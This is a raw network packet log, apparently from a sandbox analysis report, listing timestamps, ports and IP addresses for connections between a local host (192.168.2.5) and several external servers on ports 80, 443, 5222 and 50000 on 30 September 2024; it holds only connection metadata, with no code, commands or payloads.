Sep 30, 2024 12:20:50.265723944 CEST	49835	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.265723944 CEST	49836	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:50.265959024 CEST	49838	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.281822920 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.282058954 CEST	49837	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.283409119 CEST	49839	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.285686016 CEST	49840	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.287314892 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.287372112 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.288361073 CEST	5222	49839	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.288440943 CEST	49839	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.288784027 CEST	49839	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.290666103 CEST	80	49840	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.290719032 CEST	49840	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.290960073 CEST	49840	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.295341015 CEST	5222	49839	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.296042919 CEST	80	49840	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.296220064 CEST	49840	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.301127911 CEST	80	49840	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.307442904 CEST	443	49836	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:50.312843084 CEST	80	49838	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:50.312855959 CEST	5222	49835	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:50.327403069 CEST	443	49837	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.398411036 CEST	49841	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.398474932 CEST	443	49841	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.398557901 CEST	49841	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.399830103 CEST	49841	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.399846077 CEST	443	49841	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.504887104 CEST	49841	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.551400900 CEST	443	49841	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.605818987 CEST	5222	49835	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:50.605871916 CEST	49835	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.608989954 CEST	443	49834	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.609071016 CEST	49834	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.609088898 CEST	49834	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.613384962 CEST	49842	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.613409042 CEST	443	49842	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.613476038 CEST	49842	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.615288973 CEST	49842	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.615303040 CEST	443	49842	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.645781040 CEST	443	49837	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.645922899 CEST	49837	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.645940065 CEST	443	49837	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.645947933 CEST	49837	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.645999908 CEST	49837	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.651798010 CEST	443	49836	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:50.651860952 CEST	49836	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:50.651875019 CEST	49836	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:50.757483006 CEST	49842	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.792212963 CEST	5222	49839	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.792896986 CEST	49840	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.803400993 CEST	443	49842	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.821691990 CEST	49839	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.826575994 CEST	5222	49839	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.844779968 CEST	80	49840	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.927213907 CEST	49839	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.933931112 CEST	5222	49839	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.934993982 CEST	49839	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.938488007 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.944299936 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.947005033 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.949878931 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.954948902 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.973968983 CEST	49844	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.973998070 CEST	443	49844	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.974091053 CEST	49844	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.975245953 CEST	49844	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.975263119 CEST	443	49844	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.980453014 CEST	49845	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.985488892 CEST	80	49845	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.985716105 CEST	49845	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.986104965 CEST	49845	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.986337900 CEST	49844	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.991161108 CEST	80	49845	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.994983912 CEST	49845	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.000787973 CEST	80	49845	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.031397104 CEST	443	49844	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.051173925 CEST	49846	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.051202059 CEST	443	49846	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.051286936 CEST	49846	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.052468061 CEST	49846	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.052484035 CEST	443	49846	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.056549072 CEST	443	49841	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.056652069 CEST	49841	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.056684017 CEST	443	49841	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.056735992 CEST	49841	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.056735992 CEST	49841	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.062320948 CEST	49847	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.065450907 CEST	49848	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.070152044 CEST	5222	49847	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.070228100 CEST	49847	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.070477009 CEST	49847	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.071312904 CEST	80	49848	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.071367979 CEST	49848	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.071532965 CEST	49848	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.076356888 CEST	5222	49847	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.076720953 CEST	80	49848	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.076766014 CEST	49848	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.082350969 CEST	80	49848	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.083977938 CEST	443	49842	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.084064960 CEST	49842	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.084108114 CEST	49842	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.131445885 CEST	49849	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.131509066 CEST	443	49849	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.131623983 CEST	49849	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.132878065 CEST	49849	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.132898092 CEST	443	49849	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.154182911 CEST	49847	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.154535055 CEST	49848	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.154865980 CEST	49846	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.158051014 CEST	49850	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.159452915 CEST	49851	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.159492016 CEST	443	49851	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.159591913 CEST	49851	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.160834074 CEST	49851	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.160849094 CEST	443	49851	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.162384987 CEST	49852	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.162826061 CEST	5222	49850	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:51.162892103 CEST	49850	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.163192034 CEST	49850	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.167202950 CEST	80	49852	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:51.167268038 CEST	49852	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.167467117 CEST	49852	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.168121099 CEST	5222	49850	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:51.172223091 CEST	80	49852	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:51.172317028 CEST	49852	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.177161932 CEST	80	49852	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:51.187083006 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:51.199394941 CEST	443	49846	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.206069946 CEST	80	49848	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.206079960 CEST	5222	49847	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.239728928 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:51.240279913 CEST	49849	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.272430897 CEST	49850	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.272664070 CEST	49852	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.272902966 CEST	49851	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.277271032 CEST	49853	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.279222965 CEST	49854	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.279251099 CEST	443	49854	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.279320955 CEST	49854	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.280636072 CEST	49854	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.280647039 CEST	443	49854	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.282111883 CEST	5222	49853	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:51.282185078 CEST	49853	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.282475948 CEST	49853	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.282660007 CEST	49855	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.287209034 CEST	5222	49853	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:51.287412882 CEST	443	49849	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.287436008 CEST	80	49855	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:51.287534952 CEST	49855	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.287924051 CEST	49855	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.294332027 CEST	80	49855	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:51.294418097 CEST	49855	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.299422026 CEST	80	49855	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:51.315414906 CEST	443	49851	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.327492952 CEST	80	49852	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:51.327505112 CEST	5222	49850	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:51.338211060 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:51.364561081 CEST	49856	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.364609957 CEST	443	49856	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.364762068 CEST	49856	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.366189003 CEST	49856	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.366205931 CEST	443	49856	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.382811069 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:51.384119987 CEST	49853	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.384386063 CEST	49854	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.385564089 CEST	49855	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.396662951 CEST	49857	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.396717072 CEST	443	49857	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.396806955 CEST	49857	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.398058891 CEST	49857	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.398085117 CEST	443	49857	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.402574062 CEST	49858	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.407615900 CEST	5222	49858	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:51.407679081 CEST	49859	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.407743931 CEST	49858	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.408273935 CEST	49858	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.412770987 CEST	80	49859	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:51.412837982 CEST	49859	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.413098097 CEST	5222	49858	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:51.413233042 CEST	49859	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.418426991 CEST	80	49859	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:51.418483973 CEST	49859	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.423265934 CEST	80	49859	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:51.427409887 CEST	443	49854	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.432847977 CEST	80	49855	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:51.433726072 CEST	5222	49853	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:51.442054987 CEST	5222	49847	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.442138910 CEST	49847	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.450323105 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.450763941 CEST	49845	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.451637983 CEST	443	49844	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.451729059 CEST	49844	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.451757908 CEST	49844	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.452428102 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.457305908 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.479398966 CEST	49856	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.484117031 CEST	49858	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.484455109 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.484544039 CEST	49859	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.484679937 CEST	49857	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.487603903 CEST	49860	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.488738060 CEST	49861	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.488773108 CEST	443	49861	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.489070892 CEST	49861	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.489284992 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.490463018 CEST	49861	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.490473986 CEST	443	49861	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.490580082 CEST	49862	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.492427111 CEST	5222	49860	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.492628098 CEST	49860	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.492832899 CEST	49860	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.495546103 CEST	80	49862	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.495682955 CEST	49862	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.495918989 CEST	49862	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.496757984 CEST	80	49845	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.498239994 CEST	5222	49860	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.501487017 CEST	80	49862	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.501548052 CEST	49862	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.507432938 CEST	80	49862	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.523410082 CEST	443	49856	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.531413078 CEST	443	49857	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.536762953 CEST	80	49859	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:51.536791086 CEST	5222	49858	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:51.541172981 CEST	443	49846	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.541235924 CEST	49846	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.541253090 CEST	49846	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.541765928 CEST	5222	49850	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:51.541863918 CEST	49850	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:51.569000006 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.569681883 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.574615955 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.584085941 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.585602999 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.585668087 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.586028099 CEST	49860	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.586173058 CEST	49862	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.586235046 CEST	49861	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.586407900 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.594429016 CEST	49863	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.594456911 CEST	443	49863	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.594744921 CEST	49863	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.595909119 CEST	443	49849	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.595932961 CEST	49863	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.595952988 CEST	443	49863	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.595968962 CEST	49849	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.595993042 CEST	49849	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.614258051 CEST	80	49838	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:51.614314079 CEST	49838	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:51.627425909 CEST	443	49861	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.627727032 CEST	443	49851	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.627796888 CEST	49851	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.627796888 CEST	49851	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.636842012 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.636852980 CEST	80	49862	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.636862993 CEST	5222	49860	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.652846098 CEST	5222	49853	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:51.652920008 CEST	49853	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:51.667078018 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.685184002 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.686323881 CEST	49864	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.689024925 CEST	49865	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.690618992 CEST	5222	49843	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.690670967 CEST	49843	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.691342115 CEST	5222	49864	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.691410065 CEST	49864	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.691653013 CEST	49864	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.693882942 CEST	80	49865	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.693950891 CEST	49865	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.694139004 CEST	49865	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.696495056 CEST	5222	49864	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.698910952 CEST	80	49865	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.698962927 CEST	49865	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.701056004 CEST	49863	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.704137087 CEST	80	49865	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.725096941 CEST	80	49840	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.725591898 CEST	49840	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.743400097 CEST	443	49863	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.756474018 CEST	443	49854	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.756546974 CEST	49854	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.756562948 CEST	49854	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.780133009 CEST	5222	49858	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:51.780196905 CEST	49858	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:51.816937923 CEST	49866	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.817003965 CEST	443	49866	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.817111969 CEST	49866	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.818278074 CEST	49866	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.818311930 CEST	443	49866	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.823937893 CEST	443	49856	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:51.823995113 CEST	49856	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.824012041 CEST	49856	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.863091946 CEST	443	49857	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.863176107 CEST	49857	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.863215923 CEST	49857	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.868175983 CEST	5222	49860	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:51.868232965 CEST	49860	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:51.925237894 CEST	49866	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:51.946242094 CEST	443	49861	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:51.946309090 CEST	49861	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.946336031 CEST	49861	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:51.967412949 CEST	443	49866	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.034763098 CEST	49867	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.034806013 CEST	443	49867	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.034890890 CEST	49867	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.036109924 CEST	49867	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.036125898 CEST	443	49867	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.082624912 CEST	443	49863	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.082731009 CEST	49863	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.082757950 CEST	49863	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.145517111 CEST	49867	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.177990913 CEST	5222	49864	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.178353071 CEST	49865	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.180017948 CEST	49864	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.184827089 CEST	5222	49864	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.191400051 CEST	443	49867	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.228744984 CEST	80	49865	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.257323027 CEST	49868	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.257373095 CEST	443	49868	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.257600069 CEST	49868	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.259053946 CEST	49868	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.259071112 CEST	443	49868	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.284030914 CEST	49864	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.288017035 CEST	49869	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.289385080 CEST	5222	49864	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.289467096 CEST	49864	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.290173054 CEST	49870	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.293443918 CEST	5222	49869	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.293523073 CEST	49869	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.293872118 CEST	49869	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.293942928 CEST	443	49866	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.294019938 CEST	49866	443	192.168.2.5	188.114.97.3
